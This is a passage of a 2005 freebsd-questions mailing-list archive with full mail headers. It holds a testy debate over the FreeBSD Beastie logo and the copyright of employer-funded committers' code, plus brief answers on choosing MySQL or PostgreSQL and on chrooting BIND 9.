you're starting out, I think mysql is the place to be. Peter. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:34:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E498916A4CE for ; Fri, 11 Feb 2005 22:34:26 +0000 (GMT) Received: from smtp811.mail.sc5.yahoo.com (smtp811.mail.sc5.yahoo.com [66.163.170.81]) by mx1.FreeBSD.org (Postfix) with SMTP id 5025243D31 for ; Fri, 11 Feb 2005 22:34:26 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp811.mail.sc5.yahoo.com with SMTP; 11 Feb 2005 22:34:26 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 14:34:24 -0800 User-Agent: KMail/1.7.2 References: <200502092223.01650.algould@datawok.com> <420BFDCF.1000409@tvog.net> <27788582.20050211081120@wanadoo.fr> In-Reply-To: <27788582.20050211081120@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502111434.24639.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:34:27 -0000 On Thursday 10 February 2005 11:11 pm, Anthony Atkielski wrote: > Frank J. Laszlo writes: > > Who says it has to be small? > > Business cards and letterheads say that. > > Logos are often reproduced at very small sizes, even on large > documents. They often appear in a corner or at the bottom of a page. > Logos are not used in place of cover art, but they often are a _part_ > of cover art. > > > Getting back to the point at hand, the beastie is nothing more than > > a mascot. plain and simple. But people are talking like there will > > be no more beastie representing FreeBSD. I dont think this is the > > point. > > What surprises me is that people care so much. It's the software > that's important, not the cartoon character that represents it. It > makes me wonder what sorts of priorities people have. I'd prefer > that people worry more about software quality, and less about pretty > pictures. You know, I haven't posted anything about this subject to this list itself - such discussions are probably better suited for -advocacy. In any case, I did some checking ... Hmmm, let's see, Anthony Atielski, 30 posts on this subject alone, on a tech help list. Makes you wonder what sort of priorities you have. Anyway, if you feel that way then let the thread die, or take it to -advocacy. - jt From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:36:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 200BF16A4CE for ; Fri, 11 Feb 2005 22:36:37 +0000 (GMT) Received: from smtp800.mail.sc5.yahoo.com (smtp800.mail.sc5.yahoo.com [66.163.168.179]) by mx1.FreeBSD.org (Postfix) with SMTP id D5B6543D1D for ; Fri, 11 Feb 2005 22:36:36 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp800.mail.sc5.yahoo.com with SMTP; 11 Feb 2005 22:36:36 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 14:36:36 -0800 User-Agent: KMail/1.7.2 References: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> In-Reply-To: <1065300005.20050211231617@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502111436.36427.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:36:37 -0000 On Friday 11 February 2005 02:16 pm, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > > many in no way means a majority. many is more than a few, where a > > few is a handful (3-5 or so). There are probably more than a > > handful who do it as more than a hobby. A lot of good people do it > > on their own time as well, and I salute that. But a lot of people > > like Yahoo and others (Apple probably) submit stuff that ends up in > > FreeBSD and they pay their people to do so. Lots of features, like > > jails as I understand it, started off by someone getting paid to > > implement stuff. > > I hope people are not being as careless as you imply. Being paid to > write code as an employee means relinguishing copyright in the code > to one's employer. If people are actually doing this for FreeBSD, > then some of the code in FreeBSD is owned by their employers, which > can become a legal nightmare and stop the project dead in its tracks > overnight. Aren't there any _lawyers_ working on this project? I don't think you understand the history of FreeBSD. Many people who work at Yahoo! are committers, and their employer not only knows about this but encourages it. This is the second cartooney threat you've shot across the bow. To what end? - jt From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:37:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B2A1716A4CE for ; Fri, 11 Feb 2005 22:37:00 +0000 (GMT) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id DFC8843D4C for ; Fri, 11 Feb 2005 22:36:57 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 11 Feb 2005 22:36:56 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp006) with SMTP; 11 Feb 2005 23:36:56 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: rsh.lists@comcast.net, Jan Branbergen Date: Fri, 11 Feb 2005 23:31:24 +0100 X-Mailer: KMail [version 1.3.2] References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> <420D2F12.8020808@comcast.net> In-Reply-To: <420D2F12.8020808@comcast.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050211223657.DFC8843D4C@mx1.FreeBSD.org> cc: freebsd-questions@freebsd.org Subject: Re: SQL Questions (MySQL or PostgreSQL?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:37:00 -0000 after a lil bit of "research" on google, ive stumbled across this one, which just rounds up what anyone would tell about it. wrote:http://www.daniweb.com/techtalkforums/showthread.php?t=161 there are prolly other articles that say more, but this one just seems to fit your needs, short and to the point. Greetings Oliver Leitner Technical Staff http://www.shells.at > Jan Branbergen wrote: > >>I would like to install SQL here for my own use, not for any real life > >> > >>currently, round now for learning. > >> > >>Right now plan to install MySQL. > >>Looking through the ports there is numerous version and some say for > >> > >>server, some say for client. > >> > >>Looking for some tips as to what version of SQL and tools to > >>install? > >>Also wondering if anyone can point me towards documentation in my > >>learning efforts? > > > > i would like to suggest PostgreSQL if your objective is learning SQL. > > MySQL only provides a subset. > > > > it is by no means more complicated to install or to get started. > > > > regards, > > > > Jan > > What is the difference between PostgreSQL and MySQL? > From what I see MySQL seems to be more common. > > Sean > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. 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From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:37:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7695D16A4DC for ; Fri, 11 Feb 2005 22:37:39 +0000 (GMT) Received: from smtp815.mail.sc5.yahoo.com (smtp815.mail.sc5.yahoo.com [66.163.170.1]) by mx1.FreeBSD.org (Postfix) with SMTP id 3F6E743D2D for ; Fri, 11 Feb 2005 22:37:39 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp815.mail.sc5.yahoo.com with SMTP; 11 Feb 2005 22:37:38 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 14:37:37 -0800 User-Agent: KMail/1.7.2 References: <420D24EE.40606@tvog.net> <566767782.20050211231303@wanadoo.fr> In-Reply-To: <566767782.20050211231303@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502111437.38058.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:37:39 -0000 On Friday 11 February 2005 02:13 pm, Anthony Atkielski wrote: > Frank Laszlo writes: > > I wouldnt say many, there are few commiters who are actually paid > > to work on it, most commiters/developers do it as a hobby. > > What written agreements do these committers have with their > employers? > > Normally, if you are paid to write something by your employer, your > employer owns the copyright in what you write. So unless these > committers have specific agreements with their employers to the > contrary, they are adding code to FreeBSD that is encumbered by > copyrights owned by their employer, and can no longer be freely > distributed. Do you have any proof of malfeasence? Are you planning on suing someone, or is this meant to be useful in some way? - jt From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:38:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 70A4A16A4CE for ; Fri, 11 Feb 2005 22:38:57 +0000 (GMT) Received: from mail.gmx.net (pop.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 8567143D1F for ; Fri, 11 Feb 2005 22:38:56 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 11 Feb 2005 22:38:55 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp014) with SMTP; 11 Feb 2005 23:38:55 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: kilim , freebsd-questions@freebsd.org Date: Fri, 11 Feb 2005 23:33:01 +0100 X-Mailer: KMail [version 1.3.2] References: <20050211222931.GA14659@phenix.rootshell.be> In-Reply-To: <20050211222931.GA14659@phenix.rootshell.be> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050211223856.8567143D1F@mx1.FreeBSD.org> Subject: Re: DNS' bind 9 chrooted by default ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:38:57 -0000 i guess you would have to set the bind directory to be jailed in the rc.conf, but thats just a guess, i have no dns running on a bsd here. Greetings Oliver Leitner Technical Staff http://www.shells.at On Friday 11 February 2005 23:29, kilim wrote: > Hello, > > regarding Bind 9, here: > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-bind9.htm >l > > its stated that the configuration file resides in > /var/named/etc/namedb/ and that bind will be chrooted automatically. > > Yet here: > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-dns.html > > steps are shown for manual chrooting of bind (not version 9) > > So I just want to confirm it with you guys, is bind 9.3 really > chrooted by default on 5.3 ? > > I mean, don't have to do any of the steps as stated in the second link, for > chrooting ? > > Thank you > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. 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From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:40:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7AE7516A4CE for ; Fri, 11 Feb 2005 22:40:31 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id C9C9643D3F for ; Fri, 11 Feb 2005 22:40:30 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0912.wanadoo.fr (SMTP Server) with ESMTP id 8BE921C005E9 for ; Fri, 11 Feb 2005 23:40:29 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0912.wanadoo.fr (SMTP Server) with ESMTP id 665EB1C005E3 for ; Fri, 11 Feb 2005 23:40:29 +0100 (CET) X-ME-UUID: 20050211224029419.665EB1C005E3@mwinf0912.wanadoo.fr Date: Fri, 11 Feb 2005 23:40:28 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1165530279.20050211234028@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <7E82FCE7-7C7B-11D9-B134-000D933E3CEC@shire.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <566767782.20050211231303@wanadoo.fr> <7E82FCE7-7C7B-11D9-B134-000D933E3CEC@shire.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:40:31 -0000 Chad Leigh -- Shire.Net LLC writes: > Their employers are paying them TO WORK on FreeBSD. They are not taking > their code that they write for their employers and also sticking it in > FreeBSD. Big difference. Not if their work consists of writing code. In that case, the copyright in the code belongs to their employer (in the U.S., and in a number of other countries with similar provisions). Under 17 USC 101: "A 'work made for hire' is— (1) a work prepared by an employee within the scope of his or her employment; or (2) a work specially ordered or commissioned for use as a contribution to a collective work, as a part of a motion picture or other audiovisual work, as a translation, as a supplementary work, as a compilation, as an instructional text, as a test, as answer material for a test, or as an atlas, if the parties expressly agree in a written instrument signed by them that the work shall be considered a work made for hire. [...]" Note that a "collective work" is generally a book or a movie, not a computer operating system: "A 'collective work' is a work, such as a periodical issue, anthology, or encyclopedia, in which a number of contributions, constituting separate and independent works in themselves, are assembled into a collective whole." "Computer program" is separately defined, which means that it is not a collective work. > In the first case, they are allowing it to happen and assign > the copyrights as necessary. Do they do this in writing before the code becomes a part of the project? Do they have a written agreement with their employees that explicitly waives their work-for-hire interest in the copyright? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:41:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 280D316A4CE for ; Fri, 11 Feb 2005 22:41:04 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id D22E143D1D for ; Fri, 11 Feb 2005 22:41:03 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0912.wanadoo.fr (SMTP Server) with ESMTP id 415BD1C005EB for ; Fri, 11 Feb 2005 23:41:03 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0912.wanadoo.fr (SMTP Server) with ESMTP id 27CC41C005E9 for ; Fri, 11 Feb 2005 23:41:03 +0100 (CET) X-ME-UUID: 20050211224103163.27CC41C005E9@mwinf0912.wanadoo.fr Date: Fri, 11 Feb 2005 23:41:02 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <395622982.20050211234102@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <9DBF40B4-7C7B-11D9-B134-000D933E3CEC@shire.net> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> <9DBF40B4-7C7B-11D9-B134-000D933E3CEC@shire.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:41:04 -0000 Chad Leigh -- Shire.Net LLC writes: > Sorry, but the employers are freely offering the code and assigning > copyrights as necessary. OK, as long as the copyrights are assigned before any of the code finds its way into the released product. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:41:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6BF1A16A4CE for ; Fri, 11 Feb 2005 22:41:10 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3C84243D48 for ; Fri, 11 Feb 2005 22:41:10 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzjTJ-000G62-Rr for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 15:41:10 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <494362973.20050211233012@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <389541039.20050211231100@wanadoo.fr> <45B84E47-7C7B-11D9-B134-000D933E3CEC@shire.net> <494362973.20050211233012@wanadoo.fr> Message-Id: <05C10068-7C7E-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 15:41:08 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:41:10 -0000 On Feb 11, 2005, at 3:30 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> Look in the codebase > > No, tell me right here. CIOs aren't going to look in the codebase to > try to find out if it's legal for them to use the operating system. You ask a dumb question, get such an answer. You make assumptions that just because someone is paying someone to work on FreeBSD that no one has thought of the copyright implications. The people running the FreeBSD project are smarter than that. And I am not your errand-boy. If you are seriously worried about this, then you need to make the investment necessary to clear your mind on the issue. Asking other people to do so is arrogant. Chad From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:42:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8C29616A4CE for ; Fri, 11 Feb 2005 22:42:59 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 51FAE43D58 for ; Fri, 11 Feb 2005 22:42:59 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzjV4-000GIg-Tl for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 15:42:59 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <1165530279.20050211234028@wanadoo.fr> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <420D24EE.40606@tvog.net> <566767782.20050211231303@wanadoo.fr> <7E82FCE7-7C7B-11D9-B134-000D933E3CEC@shire.net> <1165530279.20050211234028@wanadoo.fr> Message-Id: <46AF39DC-7C7E-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 15:42:57 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:42:59 -0000 On Feb 11, 2005, at 3:40 PM, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > >> Their employers are paying them TO WORK on FreeBSD. They are not=20 >> taking >> their code that they write for their employers and also sticking it = in >> FreeBSD. Big difference. > > Not if their work consists of writing code. In that case, the=20 > copyright > in the code belongs to their employer (in the U.S., and in a number of > other countries with similar provisions). Yes there is a difference. If the employer assigns it to the FreeBSD=20 project. That is what we are talking about. > > Under 17 USC 101: > > "A 'work made for hire' is=97 > > (1) a work prepared by an employee within the scope of his or her > employment; or > > (2) a work specially ordered or commissioned for use as a > contribution to a collective work, as a part of a motion picture or > other audiovisual work, as a translation, as a supplementary work, as = a > compilation, as an instructional text, as a test, as answer material=20= > for > a test, or as an atlas, if the parties expressly agree in a written > instrument signed by them that the work shall be considered a work = made > for hire. [...]" > > Note that a "collective work" is generally a book or a movie, not a > computer operating system: > > "A 'collective work' is a work, such as a periodical issue, anthology, > or encyclopedia, in which a number of contributions, constituting > separate and independent works in themselves, are assembled into a > collective whole." > > "Computer program" is separately defined, which means that it is not a > collective work. > >> In the first case, they are allowing it to happen and assign >> the copyrights as necessary. > > Do they do this in writing before the code becomes a part of the > project? Do they have a written agreement with their employees that > explicitly waives their work-for-hire interest in the copyright? > I don't know. Go ask them. Look in the codebase yourself, or pay=20 someone to do so. Chad > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to=20 > "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:43:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1F56816A4CF for ; Fri, 11 Feb 2005 22:43:03 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id CC2A443D45 for ; Fri, 11 Feb 2005 22:43:02 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0902.wanadoo.fr (SMTP Server) with ESMTP id 0DACD1C001CC for ; Fri, 11 Feb 2005 23:43:02 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0902.wanadoo.fr (SMTP Server) with ESMTP id E9A0F1C001C9 for ; Fri, 11 Feb 2005 23:43:01 +0100 (CET) X-ME-UUID: 20050211224301957.E9A0F1C001C9@mwinf0902.wanadoo.fr Date: Fri, 11 Feb 2005 23:42:50 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1895211138.20050211234250@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502111629.56680.algould@datawok.com> References: <200502111629.56680.algould@datawok.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:43:03 -0000 Andrew L. Gould writes: > That's an assumption. The project needs to ask for proof of this, and not simply assume it. > We could as easily assume that the employers: Never assume anything in law. A wrong assumption could bury the project. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:44:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E612A16A4D2 for ; Fri, 11 Feb 2005 22:44:20 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2A52143D49 for ; Fri, 11 Feb 2005 22:44:20 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 5D9A61C00090 for ; Fri, 11 Feb 2005 23:44:19 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 43A881C0008F for ; Fri, 11 Feb 2005 23:44:19 +0100 (CET) X-ME-UUID: 20050211224419277.43A881C0008F@mwinf1103.wanadoo.fr Date: Fri, 11 Feb 2005 23:44:13 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1933693940.20050211234413@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502111434.24639.krinklyfig@spymac.com> References: <200502092223.01650.algould@datawok.com> <420BFDCF.1000409@tvog.net> <27788582.20050211081120@wanadoo.fr> <200502111434.24639.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 22:44:21 -0000 Joshua Tinnin writes: > Hmmm, let's see, Anthony Atielski, 30 posts on this subject alone, on a > tech help list. Makes you wonder what sort of priorities you have. At the moment, I'm worried about FreeBSD. > Anyway, if you feel that way then let the thread die, or take it to > -advocacy. I reply to the posts in whichever list they occur. While I agree that it should be in -advocacy, if the posts are on this list, then I naturally reply to them here. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 22:44:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 73A0216A4CF for ; Fri, 11 Feb 2005 22:44:55 +0000 (GMT) Received: from lorna.circlesquared.com (host217-45-219-85.in-addr.btopenworld.com [217.45.219.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id AD65943D55 for ; Fri, 11 Feb 2005 22:44:50 +0000 (GMT) (envelope-from peter@circlesquared.com) Received: from localhost.circlesquared.com (localhost.circlesquared.com [127.0.0.1])j1BMj8rl074362 for ; Fri, 11 Feb 2005 22:45:08 GMT (envelope-from peter@circlesquared.com) From: Peter Risdon To: "freebsd-questions@freebsd.org" In-Reply-To: <1895211138.20050211234250@wanadoo.fr> References: <200502111629.56680.algould@datawok.com> <1895211138.20050211234250@wanadoo.fr> Content-Type: text/plain Date: Fri, 11 Feb 2005 22:45:08 +0000 Message-Id: <1108161908.23699.103.camel@lorna.circlesquared.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 